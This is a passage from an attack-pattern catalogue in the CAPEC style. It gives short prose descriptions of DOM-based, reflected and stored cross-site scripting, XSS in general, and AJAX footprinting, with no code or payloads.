This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.